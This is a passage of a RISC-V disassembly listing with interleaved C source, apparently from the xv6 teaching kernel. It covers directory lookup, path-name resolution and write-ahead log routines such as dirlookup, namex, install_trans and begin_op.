50c080e7 jalr 1292(ra) # 80002f38 <brelse> for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80003a34: 01498a3b addw s4,s3,s4 80003a38: 0129893b addw s2,s3,s2 80003a3c: 9aee add s5,s5,s11 80003a3e: 056a7663 bgeu s4,s6,80003a8a <writei+0xd6> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80003a42: 000ba483 lw s1,0(s7) 80003a46: 00a9559b srliw a1,s2,0xa 80003a4a: 855e mv a0,s7 80003a4c: fffff097 auipc ra,0xfffff 80003a50: 7b0080e7 jalr 1968(ra) # 800031fc <bmap> 80003a54: 0005059b sext.w a1,a0 80003a58: 8526 mv a0,s1 80003a5a: fffff097 auipc ra,0xfffff 80003a5e: 3ae080e7 jalr 942(ra) # 80002e08 <bread> 80003a62: 84aa mv s1,a0 m = min(n - tot, BSIZE - off%BSIZE); 80003a64: 3ff97713 andi a4,s2,1023 80003a68: 40ed07bb subw a5,s10,a4 80003a6c: 414b06bb subw a3,s6,s4 80003a70: 89be mv s3,a5 80003a72: 2781 sext.w a5,a5 80003a74: 0006861b sext.w a2,a3 80003a78: f8f674e3 bgeu a2,a5,80003a00 <writei+0x4c> 80003a7c: 89b6 mv s3,a3 80003a7e: b749 j 80003a00 <writei+0x4c> brelse(bp); 80003a80: 8526 mv a0,s1 80003a82: fffff097 auipc ra,0xfffff 80003a86: 4b6080e7 jalr 1206(ra) # 80002f38 <brelse> } if(n > 0){ if(off > ip->size) 80003a8a: 04cba783 lw a5,76(s7) 80003a8e: 0127f463 bgeu a5,s2,80003a96 <writei+0xe2> ip->size = off; 80003a92: 052ba623 sw s2,76(s7) // write the i-node back to disk even if the size didn't change // because the loop above might have called bmap() and added a new // block to ip->addrs[]. iupdate(ip); 80003a96: 855e mv a0,s7 80003a98: 00000097 auipc ra,0x0 80003a9c: aa8080e7 jalr -1368(ra) # 80003540 <iupdate> } return n; 80003aa0: 000b051b sext.w a0,s6 } 80003aa4: 70a6 ld ra,104(sp) 80003aa6: 7406 ld s0,96(sp) 80003aa8: 64e6 ld s1,88(sp) 80003aaa: 6946 ld s2,80(sp) 80003aac: 69a6 ld s3,72(sp) 80003aae: 6a06 ld s4,64(sp) 80003ab0: 7ae2 ld s5,56(sp) 80003ab2: 7b42 ld s6,48(sp) 80003ab4: 7ba2 ld s7,40(sp) 80003ab6: 7c02 ld s8,32(sp) 80003ab8: 6ce2 ld s9,24(sp) 80003aba: 6d42 ld s10,16(sp) 80003abc: 6da2 ld s11,8(sp) 80003abe: 6165 addi sp,sp,112 80003ac0: 8082 ret return -1; 80003ac2: 557d li a0,-1 } 80003ac4: 8082 ret return -1; 80003ac6: 557d li a0,-1 80003ac8: bff1 j 80003aa4 <writei+0xf0> return -1; 80003aca: 557d li a0,-1 80003acc: bfe1 j 80003aa4 <writei+0xf0> 0000000080003ace <namecmp>: // Directories int namecmp(const char *s, const char *t) { 80003ace: 1141 addi sp,sp,-16 80003ad0: e406 sd ra,8(sp) 80003ad2: e022 sd s0,0(sp) 80003ad4: 0800 addi s0,sp,16 return strncmp(s, t, DIRSIZ); 80003ad6: 4639 li a2,14 80003ad8: ffffd097 auipc ra,0xffffd 80003adc: 310080e7 jalr 784(ra) # 80000de8 <strncmp> } 80003ae0: 60a2 ld ra,8(sp) 80003ae2: 6402 ld s0,0(sp) 80003ae4: 0141 addi sp,sp,16 80003ae6: 8082 ret 0000000080003ae8 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80003ae8: 7139 addi sp,sp,-64 80003aea: fc06 sd ra,56(sp) 80003aec: f822 sd s0,48(sp) 80003aee: f426 sd s1,40(sp) 80003af0: f04a sd s2,32(sp) 80003af2: ec4e sd s3,24(sp) 80003af4: e852 sd s4,16(sp) 80003af6: 0080 addi s0,sp,64 uint off, inum; struct dirent de; if(dp->type != T_DIR) 80003af8: 04451703 lh a4,68(a0) 80003afc: 4785 li a5,1 80003afe: 00f71a63 bne a4,a5,80003b12 <dirlookup+0x2a> 80003b02: 892a mv s2,a0 80003b04: 89ae mv s3,a1 80003b06: 8a32 mv s4,a2 panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80003b08: 457c lw a5,76(a0) 80003b0a: 4481 li s1,0 inum = de.inum; return iget(dp->dev, inum); } } return 0; 80003b0c: 4501 li a0,0 for(off = 0; off < dp->size; off += sizeof(de)){ 80003b0e: e79d bnez a5,80003b3c <dirlookup+0x54> 80003b10: a8a5 j 80003b88 <dirlookup+0xa0> panic("dirlookup not DIR"); 80003b12: 00005517 auipc a0,0x5 80003b16: ab650513 addi a0,a0,-1354 # 800085c8 <syscalls+0x1a0> 80003b1a: ffffd097 auipc ra,0xffffd 80003b1e: a2e080e7 jalr -1490(ra) # 80000548 <panic> panic("dirlookup read"); 80003b22: 00005517 auipc a0,0x5 80003b26: abe50513 addi a0,a0,-1346 # 800085e0 <syscalls+0x1b8> 80003b2a: ffffd097 auipc ra,0xffffd 80003b2e: a1e080e7 jalr -1506(ra) # 80000548 <panic> for(off = 0; off < dp->size; off += sizeof(de)){ 80003b32: 24c1 addiw s1,s1,16 80003b34: 04c92783 lw a5,76(s2) 80003b38: 04f4f763 bgeu s1,a5,80003b86 <dirlookup+0x9e> if(readi(dp, 0, (uint64)&de, off, sizeof(de)) != sizeof(de)) 80003b3c: 4741 li a4,16 80003b3e: 86a6 mv a3,s1 80003b40: fc040613 addi a2,s0,-64 80003b44: 4581 li a1,0 80003b46: 854a mv a0,s2 80003b48: 00000097 auipc ra,0x0 80003b4c: d76080e7 jalr -650(ra) # 800038be <readi> 80003b50: 47c1 li a5,16 80003b52: fcf518e3 bne a0,a5,80003b22 <dirlookup+0x3a> if(de.inum == 0) 80003b56: fc045783 lhu a5,-64(s0) 80003b5a: dfe1 beqz a5,80003b32 <dirlookup+0x4a> if(namecmp(name, de.name) == 0){ 80003b5c: fc240593 addi a1,s0,-62 80003b60: 854e mv a0,s3 80003b62: 00000097 auipc ra,0x0 80003b66: f6c080e7 jalr -148(ra) # 80003ace <namecmp> 80003b6a: f561 bnez a0,80003b32 <dirlookup+0x4a> if(poff) 80003b6c: 000a0463 beqz s4,80003b74 <dirlookup+0x8c> *poff = off; 80003b70: 009a2023 sw s1,0(s4) return iget(dp->dev, inum); 80003b74: fc045583 lhu a1,-64(s0) 80003b78: 00092503 lw a0,0(s2) 80003b7c: fffff097 auipc ra,0xfffff 80003b80: 75a080e7 jalr 1882(ra) # 800032d6 <iget> 80003b84: a011 j 80003b88 <dirlookup+0xa0> return 0; 80003b86: 4501 li a0,0 } 80003b88: 70e2 ld ra,56(sp) 80003b8a: 7442 ld s0,48(sp) 80003b8c: 74a2 ld s1,40(sp) 80003b8e: 7902 ld s2,32(sp) 80003b90: 69e2 ld s3,24(sp) 80003b92: 6a42 ld s4,16(sp) 80003b94: 6121 addi sp,sp,64 80003b96: 8082 ret 0000000080003b98 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80003b98: 711d addi sp,sp,-96 80003b9a: ec86 sd ra,88(sp) 80003b9c: e8a2 sd s0,80(sp) 80003b9e: e4a6 sd s1,72(sp) 80003ba0: e0ca sd s2,64(sp) 80003ba2: fc4e sd s3,56(sp) 80003ba4: f852 sd s4,48(sp) 80003ba6: f456 sd s5,40(sp) 80003ba8: f05a sd s6,32(sp) 80003baa: ec5e sd s7,24(sp) 80003bac: e862 sd s8,16(sp) 80003bae: e466 sd s9,8(sp) 80003bb0: 1080 addi s0,sp,96 80003bb2: 84aa mv s1,a0 80003bb4: 8b2e mv s6,a1 80003bb6: 8ab2 mv s5,a2 struct inode *ip, *next; if(*path == '/') 80003bb8: 00054703 lbu a4,0(a0) 80003bbc: 02f00793 li a5,47 80003bc0: 02f70363 beq a4,a5,80003be6 <namex+0x4e> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80003bc4: ffffe097 auipc ra,0xffffe 80003bc8: e1a080e7 jalr -486(ra) # 800019de <myproc> 80003bcc: 15053503 ld a0,336(a0) 80003bd0: 00000097 auipc ra,0x0 80003bd4: 9fc080e7 jalr -1540(ra) # 800035cc <idup> 80003bd8: 89aa mv s3,a0 while(*path == '/') 80003bda: 02f00913 li s2,47 len = path - s; 80003bde: 4b81 li s7,0 if(len >= DIRSIZ) 80003be0: 4cb5 li s9,13 while((path = skipelem(path, name)) != 0){ ilock(ip); if(ip->type != T_DIR){ 80003be2: 4c05 li s8,1 80003be4: a865 j 80003c9c <namex+0x104> ip = iget(ROOTDEV, ROOTINO); 80003be6: 4585 li a1,1 80003be8: 4505 li a0,1 80003bea: fffff097 auipc ra,0xfffff 80003bee: 6ec080e7 jalr 1772(ra) # 800032d6 <iget> 80003bf2: 89aa mv s3,a0 80003bf4: b7dd j 80003bda <namex+0x42> iunlockput(ip); 80003bf6: 854e mv a0,s3 80003bf8: 00000097 auipc ra,0x0 80003bfc: c74080e7 jalr -908(ra) # 8000386c <iunlockput> return 0; 80003c00: 4981 li s3,0 if(nameiparent){ iput(ip); return 0; } return ip; } 80003c02: 854e mv a0,s3 80003c04: 60e6 ld ra,88(sp) 80003c06: 6446 ld s0,80(sp) 80003c08: 64a6 ld s1,72(sp) 80003c0a: 6906 ld s2,64(sp) 80003c0c: 79e2 ld s3,56(sp) 80003c0e: 7a42 ld s4,48(sp) 80003c10: 7aa2 ld s5,40(sp) 80003c12: 7b02 ld s6,32(sp) 80003c14: 6be2 ld s7,24(sp) 80003c16: 6c42 ld s8,16(sp) 80003c18: 6ca2 ld s9,8(sp) 80003c1a: 6125 addi sp,sp,96 80003c1c: 8082 ret iunlock(ip); 80003c1e: 854e mv a0,s3 80003c20: 00000097 auipc ra,0x0 80003c24: aac080e7 jalr -1364(ra) # 800036cc <iunlock> return ip; 80003c28: bfe9 j 80003c02 <namex+0x6a> iunlockput(ip); 80003c2a: 854e mv a0,s3 80003c2c: 00000097 auipc ra,0x0 80003c30: c40080e7 jalr -960(ra) # 8000386c <iunlockput> return 0; 80003c34: 89d2 mv s3,s4 80003c36: b7f1 j 80003c02 <namex+0x6a> len = path - s; 80003c38: 40b48633 sub a2,s1,a1 80003c3c: 00060a1b sext.w s4,a2 if(len >= DIRSIZ) 80003c40: 094cd463 bge s9,s4,80003cc8 <namex+0x130> memmove(name, s, DIRSIZ); 80003c44: 4639 li a2,14 80003c46: 8556 mv a0,s5 80003c48: ffffd097 auipc ra,0xffffd 80003c4c: 124080e7 jalr 292(ra) # 80000d6c <memmove> while(*path == '/') 80003c50: 0004c783 lbu a5,0(s1) 80003c54: 01279763 bne a5,s2,80003c62 <namex+0xca> path++; 80003c58: 0485 addi s1,s1,1 while(*path == '/') 80003c5a: 0004c783 lbu a5,0(s1) 80003c5e: ff278de3 beq a5,s2,80003c58 <namex+0xc0> ilock(ip); 80003c62: 854e mv a0,s3 80003c64: 00000097 auipc ra,0x0 80003c68: 9a6080e7 jalr -1626(ra) # 8000360a <ilock> if(ip->type != T_DIR){ 80003c6c: 04499783 lh a5,68(s3) 80003c70: f98793e3 bne a5,s8,80003bf6 <namex+0x5e> if(nameiparent && *path == '\0'){ 80003c74: 000b0563 beqz s6,80003c7e <namex+0xe6> 80003c78: 0004c783 lbu a5,0(s1) 80003c7c: d3cd beqz a5,80003c1e <namex+0x86> if((next = dirlookup(ip, name, 0)) == 0){ 80003c7e: 865e mv a2,s7 80003c80: 85d6 mv a1,s5 80003c82: 854e mv a0,s3 80003c84: 00000097 auipc ra,0x0 80003c88: e64080e7 jalr -412(ra) # 80003ae8 <dirlookup> 80003c8c: 8a2a mv s4,a0 80003c8e: dd51 beqz a0,80003c2a <namex+0x92> iunlockput(ip); 80003c90: 854e mv a0,s3 80003c92: 00000097 auipc ra,0x0 80003c96: bda080e7 jalr -1062(ra) # 8000386c <iunlockput> ip = next; 80003c9a: 89d2 mv s3,s4 while(*path == '/') 80003c9c: 0004c783 lbu a5,0(s1) 80003ca0: 05279763 bne a5,s2,80003cee <namex+0x156> path++; 80003ca4: 0485 addi s1,s1,1 while(*path == '/') 80003ca6: 0004c783 lbu a5,0(s1) 80003caa: ff278de3 beq a5,s2,80003ca4 <namex+0x10c> if(*path == 0) 80003cae: c79d beqz a5,80003cdc <namex+0x144> path++; 80003cb0: 85a6 mv a1,s1 len = path - s; 80003cb2: 8a5e mv s4,s7 80003cb4: 865e mv a2,s7 while(*path != '/' && *path != 0) 80003cb6: 01278963 beq a5,s2,80003cc8 <namex+0x130> 80003cba: dfbd beqz a5,80003c38 <namex+0xa0> path++; 80003cbc: 0485 addi s1,s1,1 while(*path != '/' && *path != 0) 80003cbe: 0004c783 lbu a5,0(s1) 80003cc2: ff279ce3 bne a5,s2,80003cba <namex+0x122> 80003cc6: bf8d j 80003c38 <namex+0xa0> memmove(name, s, len); 80003cc8: 2601 sext.w a2,a2 80003cca: 8556 mv a0,s5 80003ccc: ffffd097 auipc ra,0xffffd 80003cd0: 0a0080e7 jalr 160(ra) # 80000d6c <memmove> name[len] = 0; 80003cd4: 9a56 add s4,s4,s5 80003cd6: 000a0023 sb zero,0(s4) 80003cda: bf9d j 80003c50 <namex+0xb8> if(nameiparent){ 80003cdc: f20b03e3 beqz s6,80003c02 <namex+0x6a> iput(ip); 80003ce0: 854e mv a0,s3 80003ce2: 00000097 auipc ra,0x0 80003ce6: ae2080e7 jalr -1310(ra) # 800037c4 <iput> return 0; 80003cea: 4981 li s3,0 80003cec: bf19 j 80003c02 <namex+0x6a> if(*path == 0) 80003cee: d7fd beqz a5,80003cdc <namex+0x144> while(*path != '/' && *path != 0) 80003cf0: 0004c783 lbu a5,0(s1) 80003cf4: 85a6 mv a1,s1 80003cf6: b7d1 j 80003cba <namex+0x122> 0000000080003cf8 <dirlink>: { 80003cf8: 7139 addi sp,sp,-64 80003cfa: fc06 sd ra,56(sp) 80003cfc: f822 sd s0,48(sp) 80003cfe: f426 sd s1,40(sp) 80003d00: f04a sd s2,32(sp) 80003d02: ec4e sd s3,24(sp) 80003d04: e852 sd s4,16(sp) 80003d06: 0080 addi s0,sp,64 80003d08: 892a mv s2,a0 80003d0a: 8a2e mv s4,a1 80003d0c: 89b2 mv s3,a2 if((ip = dirlookup(dp, name, 0)) != 0){ 80003d0e: 4601 li a2,0 80003d10: 00000097 auipc ra,0x0 80003d14: dd8080e7 jalr -552(ra) # 80003ae8 <dirlookup> 80003d18: e93d bnez a0,80003d8e <dirlink+0x96> for(off = 0; off < dp->size; off += sizeof(de)){ 80003d1a: 04c92483 lw s1,76(s2) 80003d1e: c49d beqz s1,80003d4c <dirlink+0x54> 80003d20: 4481 li s1,0 if(readi(dp, 0, (uint64)&de, off, sizeof(de)) != sizeof(de)) 80003d22: 4741 li a4,16 80003d24: 86a6 mv a3,s1 80003d26: fc040613 addi a2,s0,-64 80003d2a: 4581 li a1,0 80003d2c: 854a mv a0,s2 80003d2e: 00000097 auipc ra,0x0 80003d32: b90080e7 jalr -1136(ra) # 800038be <readi> 80003d36: 47c1 li a5,16 80003d38: 06f51163 bne a0,a5,80003d9a <dirlink+0xa2> if(de.inum == 0) 80003d3c: fc045783 lhu a5,-64(s0) 80003d40: c791 beqz a5,80003d4c <dirlink+0x54> for(off = 0; off < dp->size; off += sizeof(de)){ 80003d42: 24c1 addiw s1,s1,16 80003d44: 04c92783 lw a5,76(s2) 80003d48: fcf4ede3 bltu s1,a5,80003d22 <dirlink+0x2a> strncpy(de.name, name, DIRSIZ); 80003d4c: 4639 li a2,14 80003d4e: 85d2 mv a1,s4 80003d50: fc240513 addi a0,s0,-62 80003d54: ffffd097 auipc ra,0xffffd 80003d58: 0d0080e7 jalr 208(ra) # 80000e24 <strncpy> de.inum = inum; 80003d5c: fd341023 sh s3,-64(s0) if(writei(dp, 0, (uint64)&de, off, sizeof(de)) != sizeof(de)) 80003d60: 4741 li a4,16 80003d62: 86a6 mv a3,s1 80003d64: fc040613 addi a2,s0,-64 80003d68: 4581 li a1,0 80003d6a: 854a mv a0,s2 80003d6c: 00000097 auipc ra,0x0 80003d70: c48080e7 jalr -952(ra) # 800039b4 <writei> 80003d74: 872a mv a4,a0 80003d76: 47c1 li a5,16 return 0; 80003d78: 4501 li a0,0 if(writei(dp, 0, (uint64)&de, off, sizeof(de)) != sizeof(de)) 80003d7a: 02f71863 bne a4,a5,80003daa <dirlink+0xb2> } 80003d7e: 70e2 ld ra,56(sp) 80003d80: 7442 ld s0,48(sp) 80003d82: 74a2 ld s1,40(sp) 80003d84: 7902 ld s2,32(sp) 80003d86: 69e2 ld s3,24(sp) 80003d88: 6a42 ld s4,16(sp) 80003d8a: 6121 addi sp,sp,64 80003d8c: 8082 ret iput(ip); 80003d8e: 00000097 auipc ra,0x0 80003d92: a36080e7 jalr -1482(ra) # 800037c4 <iput> return -1; 80003d96: 557d li a0,-1 80003d98: b7dd j 80003d7e <dirlink+0x86> panic("dirlink read"); 80003d9a: 00005517 auipc a0,0x5 80003d9e: 85650513 addi a0,a0,-1962 # 800085f0 <syscalls+0x1c8> 80003da2: ffffc097 auipc ra,0xffffc 80003da6: 7a6080e7 jalr 1958(ra) # 80000548 <panic> panic("dirlink"); 80003daa: 00005517 auipc a0,0x5 80003dae: 96650513 addi a0,a0,-1690 # 80008710 <syscalls+0x2e8> 80003db2: ffffc097 auipc ra,0xffffc 80003db6: 796080e7 jalr 1942(ra) # 80000548 <panic> 0000000080003dba <namei>: struct inode* namei(char *path) { 80003dba: 1101 addi sp,sp,-32 80003dbc: ec06 sd ra,24(sp) 80003dbe: e822 sd s0,16(sp) 80003dc0: 1000 addi s0,sp,32 char name[DIRSIZ]; return namex(path, 0, name); 80003dc2: fe040613 addi a2,s0,-32 80003dc6: 4581 li a1,0 80003dc8: 00000097 auipc ra,0x0 80003dcc: dd0080e7 jalr -560(ra) # 80003b98 <namex> } 80003dd0: 60e2 ld ra,24(sp) 80003dd2: 6442 ld s0,16(sp) 80003dd4: 6105 addi sp,sp,32 80003dd6: 8082 ret 0000000080003dd8 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80003dd8: 1141 addi sp,sp,-16 80003dda: e406 sd ra,8(sp) 80003ddc: e022 sd s0,0(sp) 80003dde: 0800 addi s0,sp,16 80003de0: 862e mv a2,a1 return namex(path, 1, name); 80003de2: 4585 li a1,1 80003de4: 00000097 auipc ra,0x0 80003de8: db4080e7 jalr -588(ra) # 80003b98 <namex> } 80003dec: 60a2 ld ra,8(sp) 80003dee: 6402 ld s0,0(sp) 80003df0: 0141 addi sp,sp,16 80003df2: 8082 ret 0000000080003df4 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 80003df4: 1101 addi sp,sp,-32 80003df6: ec06 sd ra,24(sp) 80003df8: e822 sd s0,16(sp) 80003dfa: e426 sd s1,8(sp) 80003dfc: e04a sd s2,0(sp) 80003dfe: 1000 addi s0,sp,32 struct buf *buf = bread(log.dev, log.start); 80003e00: 0001e917 auipc s2,0x1e 80003e04: b0890913 addi s2,s2,-1272 # 80021908 <log> 80003e08: 01892583 lw a1,24(s2) 80003e0c: 02892503 lw a0,40(s2) 80003e10: fffff097 auipc ra,0xfffff 80003e14: ff8080e7 jalr -8(ra) # 80002e08 <bread> 80003e18: 84aa mv s1,a0 struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80003e1a: 02c92683 lw a3,44(s2) 80003e1e: cd34 sw a3,88(a0) for (i = 0; i < log.lh.n; i++) { 80003e20: 02d05763 blez a3,80003e4e <write_head+0x5a> 80003e24: 0001e797 auipc a5,0x1e 80003e28: b1478793 addi a5,a5,-1260 # 80021938 <log+0x30> 80003e2c: 05c50713 addi a4,a0,92 80003e30: 36fd addiw a3,a3,-1 80003e32: 1682 slli a3,a3,0x20 80003e34: 9281 srli a3,a3,0x20 80003e36: 068a slli a3,a3,0x2 80003e38: 0001e617 auipc a2,0x1e 80003e3c: b0460613 addi a2,a2,-1276 # 8002193c <log+0x34> 80003e40: 96b2 add a3,a3,a2 hb->block[i] = log.lh.block[i]; 80003e42: 4390 lw a2,0(a5) 80003e44: c310 sw a2,0(a4) for (i = 0; i < log.lh.n; i++) { 80003e46: 0791 addi a5,a5,4 80003e48: 0711 addi a4,a4,4 80003e4a: fed79ce3 bne a5,a3,80003e42 <write_head+0x4e> } bwrite(buf); 80003e4e: 8526 mv a0,s1 80003e50: fffff097 auipc ra,0xfffff 80003e54: 0aa080e7 jalr 170(ra) # 80002efa <bwrite> brelse(buf); 80003e58: 8526 mv a0,s1 80003e5a: fffff097 auipc ra,0xfffff 80003e5e: 0de080e7 jalr 222(ra) # 80002f38 <brelse> } 80003e62: 60e2 ld ra,24(sp) 80003e64: 6442 ld s0,16(sp) 80003e66: 64a2 ld s1,8(sp) 80003e68: 6902 ld s2,0(sp) 80003e6a: 6105 addi sp,sp,32 80003e6c: 8082 ret 0000000080003e6e <install_trans>: for (tail = 0; tail < log.lh.n; tail++) { 80003e6e: 0001e797 auipc a5,0x1e 80003e72: ac67a783 lw a5,-1338(a5) # 80021934 <log+0x2c> 80003e76: 0af05663 blez a5,80003f22 <install_trans+0xb4> { 80003e7a: 7139 addi sp,sp,-64 80003e7c: fc06 sd ra,56(sp) 80003e7e: f822 sd s0,48(sp) 80003e80: f426 sd s1,40(sp) 80003e82: f04a sd s2,32(sp) 80003e84: ec4e sd s3,24(sp) 80003e86: e852 sd s4,16(sp) 80003e88: e456 sd s5,8(sp) 80003e8a: 0080 addi s0,sp,64 80003e8c: 0001ea97 auipc s5,0x1e 80003e90: aaca8a93 addi s5,s5,-1364 # 80021938 <log+0x30> for (tail = 0; tail < log.lh.n; tail++) { 80003e94: 4a01 li s4,0 struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 80003e96: 0001e997 auipc s3,0x1e 80003e9a: a7298993 addi s3,s3,-1422 # 80021908 <log> 80003e9e: 0189a583 lw a1,24(s3) 80003ea2: 014585bb addw a1,a1,s4 80003ea6: 2585 addiw a1,a1,1 80003ea8: 0289a503 lw a0,40(s3) 80003eac: fffff097 auipc ra,0xfffff 80003eb0: f5c080e7 jalr -164(ra) # 80002e08 <bread> 80003eb4: 892a mv s2,a0 struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80003eb6: 000aa583 lw a1,0(s5) 80003eba: 0289a503 lw a0,40(s3) 80003ebe: fffff097 auipc ra,0xfffff 80003ec2: f4a080e7 jalr -182(ra) # 80002e08 <bread> 80003ec6: 84aa mv s1,a0 memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 80003ec8: 40000613 li a2,1024 80003ecc: 05890593 addi a1,s2,88 80003ed0: 05850513 addi a0,a0,88 80003ed4: ffffd097 auipc ra,0xffffd 80003ed8: e98080e7 jalr -360(ra) # 80000d6c <memmove> bwrite(dbuf); // write dst to disk 80003edc: 8526 mv a0,s1 80003ede: fffff097 auipc ra,0xfffff 80003ee2: 01c080e7 jalr 28(ra) # 80002efa <bwrite> bunpin(dbuf); 80003ee6: 8526 mv a0,s1 80003ee8: fffff097 auipc ra,0xfffff 80003eec: 12a080e7 jalr 298(ra) # 80003012 <bunpin> brelse(lbuf); 80003ef0: 854a mv a0,s2 80003ef2: fffff097 auipc ra,0xfffff 80003ef6: 046080e7 jalr 70(ra) # 80002f38 <brelse> brelse(dbuf); 80003efa: 8526 mv a0,s1 80003efc: fffff097 auipc ra,0xfffff 80003f00: 03c080e7 jalr 60(ra) # 80002f38 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80003f04: 2a05 addiw s4,s4,1 80003f06: 0a91 addi s5,s5,4 80003f08: 02c9a783 lw a5,44(s3) 80003f0c: f8fa49e3 blt s4,a5,80003e9e <install_trans+0x30> } 80003f10: 70e2 ld ra,56(sp) 80003f12: 7442 ld s0,48(sp) 80003f14: 74a2 ld s1,40(sp) 80003f16: 7902 ld s2,32(sp) 80003f18: 69e2 ld s3,24(sp) 80003f1a: 6a42 ld s4,16(sp) 80003f1c: 6aa2 ld s5,8(sp) 80003f1e: 6121 addi sp,sp,64 80003f20: 8082 ret 80003f22: 8082 ret 0000000080003f24 <initlog>: { 80003f24: 7179 addi sp,sp,-48 80003f26: f406 sd ra,40(sp) 80003f28: f022 sd s0,32(sp) 80003f2a: ec26 sd s1,24(sp) 80003f2c: e84a sd s2,16(sp) 80003f2e: e44e sd s3,8(sp) 80003f30: 1800 addi s0,sp,48 80003f32: 892a mv s2,a0 80003f34: 89ae mv s3,a1 initlock(&log.lock, "log"); 80003f36: 0001e497 auipc s1,0x1e 80003f3a: 9d248493 addi s1,s1,-1582 # 80021908 <log> 80003f3e: 00004597 auipc a1,0x4 80003f42: 6c258593 addi a1,a1,1730 # 80008600 <syscalls+0x1d8> 80003f46: 8526 mv a0,s1 80003f48: ffffd097 auipc ra,0xffffd 80003f4c: c38080e7 jalr -968(ra) # 80000b80 <initlock> log.start = sb->logstart; 80003f50: 0149a583 lw a1,20(s3) 80003f54: cc8c sw a1,24(s1) log.size = sb->nlog; 80003f56: 0109a783 lw a5,16(s3) 80003f5a: ccdc sw a5,28(s1) log.dev = dev; 80003f5c: 0324a423 sw s2,40(s1) struct buf *buf = bread(log.dev, log.start); 80003f60: 854a mv a0,s2 80003f62: fffff097 auipc ra,0xfffff 80003f66: ea6080e7 jalr -346(ra) # 80002e08 <bread> log.lh.n = lh->n; 80003f6a: 4d3c lw a5,88(a0) 80003f6c: d4dc sw a5,44(s1) for (i = 0; i < log.lh.n; i++) { 80003f6e: 02f05563 blez a5,80003f98 <initlog+0x74> 80003f72: 05c50713 addi a4,a0,92 80003f76: 0001e697 auipc a3,0x1e 80003f7a: 9c268693 addi a3,a3,-1598 # 80021938 <log+0x30> 80003f7e: 37fd addiw a5,a5,-1 80003f80: 1782 slli a5,a5,0x20 80003f82: 9381 srli a5,a5,0x20 80003f84: 078a slli a5,a5,0x2 80003f86: 06050613 addi a2,a0,96 80003f8a: 97b2 add a5,a5,a2 log.lh.block[i] = lh->block[i]; 80003f8c: 4310 lw a2,0(a4) 80003f8e: c290 sw a2,0(a3) for (i = 0; i < log.lh.n; i++) { 80003f90: 0711 addi a4,a4,4 80003f92: 0691 addi a3,a3,4 80003f94: fef71ce3 bne a4,a5,80003f8c <initlog+0x68> brelse(buf); 80003f98: fffff097 auipc ra,0xfffff 80003f9c: fa0080e7 jalr -96(ra) # 80002f38 <brelse> static void recover_from_log(void) { read_head(); install_trans(); // if committed, copy from log to disk 80003fa0: 00000097 auipc ra,0x0 80003fa4: ece080e7 jalr -306(ra) # 80003e6e <install_trans> log.lh.n = 0; 80003fa8: 0001e797 auipc a5,0x1e 80003fac: 9807a623 sw zero,-1652(a5) # 80021934 <log+0x2c> write_head(); // clear the log 80003fb0: 00000097 auipc ra,0x0 80003fb4: e44080e7 jalr -444(ra) # 80003df4 <write_head> } 80003fb8: 70a2 ld ra,40(sp) 80003fba: 7402 ld s0,32(sp) 80003fbc: 64e2 ld s1,24(sp) 80003fbe: 6942 ld s2,16(sp) 80003fc0: 69a2 ld s3,8(sp) 80003fc2: 6145 addi sp,sp,48 80003fc4: 8082 ret 0000000080003fc6 <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 80003fc6: 1101 addi sp,sp,-32 80003fc8: ec06 sd ra,24(sp) 80003fca: e822 sd s0,16(sp) 80003fcc: e426 sd s1,8(sp) 80003fce: e04a sd s2,0(sp) 80003fd0: 1000 addi s0,sp,32 acquire(&log.lock); 80003fd2: 0001e517 auipc a0,0x1e 80003fd6: 93650513 addi a0,a0,-1738 # 80021908 <log> 80003fda: ffffd097 auipc ra,0xffffd 80003fde: c36080e7 jalr -970(ra) # 80000c10 <acquire> while(1){ if(log.committing){ 80003fe2: 0001e497 auipc s1,0x1e 80003fe6: 92648493 addi s1,s1,-1754 # 80021908 <log> sleep(&log, &log.lock); } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80003fea: 4979 li s2,30 80003fec: a039 j 80003ffa <begin_op+0x34> sleep(&log, &log.lock); 80003fee: 85a6 mv a1,s1 80003ff0: 8526 mv a0,s1 80003ff2: ffffe097 auipc ra,0xffffe 80003ff6: 1f8080e7 jalr 504(ra) # 800021ea <sleep> if(log.committing){ 80003ffa: 50dc lw a5,36(s1) 80003ffc: fbed bnez a5,80003fee <begin_op+0x28> } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80003ffe: 509c lw a5,32(s1) 80004000: 0017871b addiw a4,a5,1 80004004: 0007069b sext.w a3,a4 80004008: 0027179b slliw a5,a4,0x2 8000400c: 9fb9 addw a5,a5,a4 8000400e: 0017979b slliw a5,a5,0x1 80004012: 54d8 lw a4,44(s1) 80004014: 9fb9 addw a5,a5,a4 80004016: 00f95963 bge s2,a5,80004028 <begin_op+0x62> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); 8000401a: 85a6 mv a1,s1 8000401c: 8526 mv a0,s1 8000401e: ffffe097 auipc ra,0xffffe 80004022: 1cc080e7 jalr 460(ra) # 800021ea <sleep> 80004026: bfd1 j 80003ffa <begin_op+0x34> } else { log.outstanding += 1; 80004028: 0001e517 auipc a0,0x1e 8000402c: 8e050513 addi a0,a0,-1824 # 80021908 <log> 80004030: d114 sw a3,32(a0) release(&log.lock); 80004032: ffffd097 auipc ra,0xffffd 80004036: c92080e7 jalr -878(ra) # 80000cc4 <release> break; } } } 8000403a: 60e2 ld ra,24(sp) 8000403c: 6442 ld s0,16(sp) 8000403e: 64a2 ld s1,8(sp) 80004040: 6902 ld 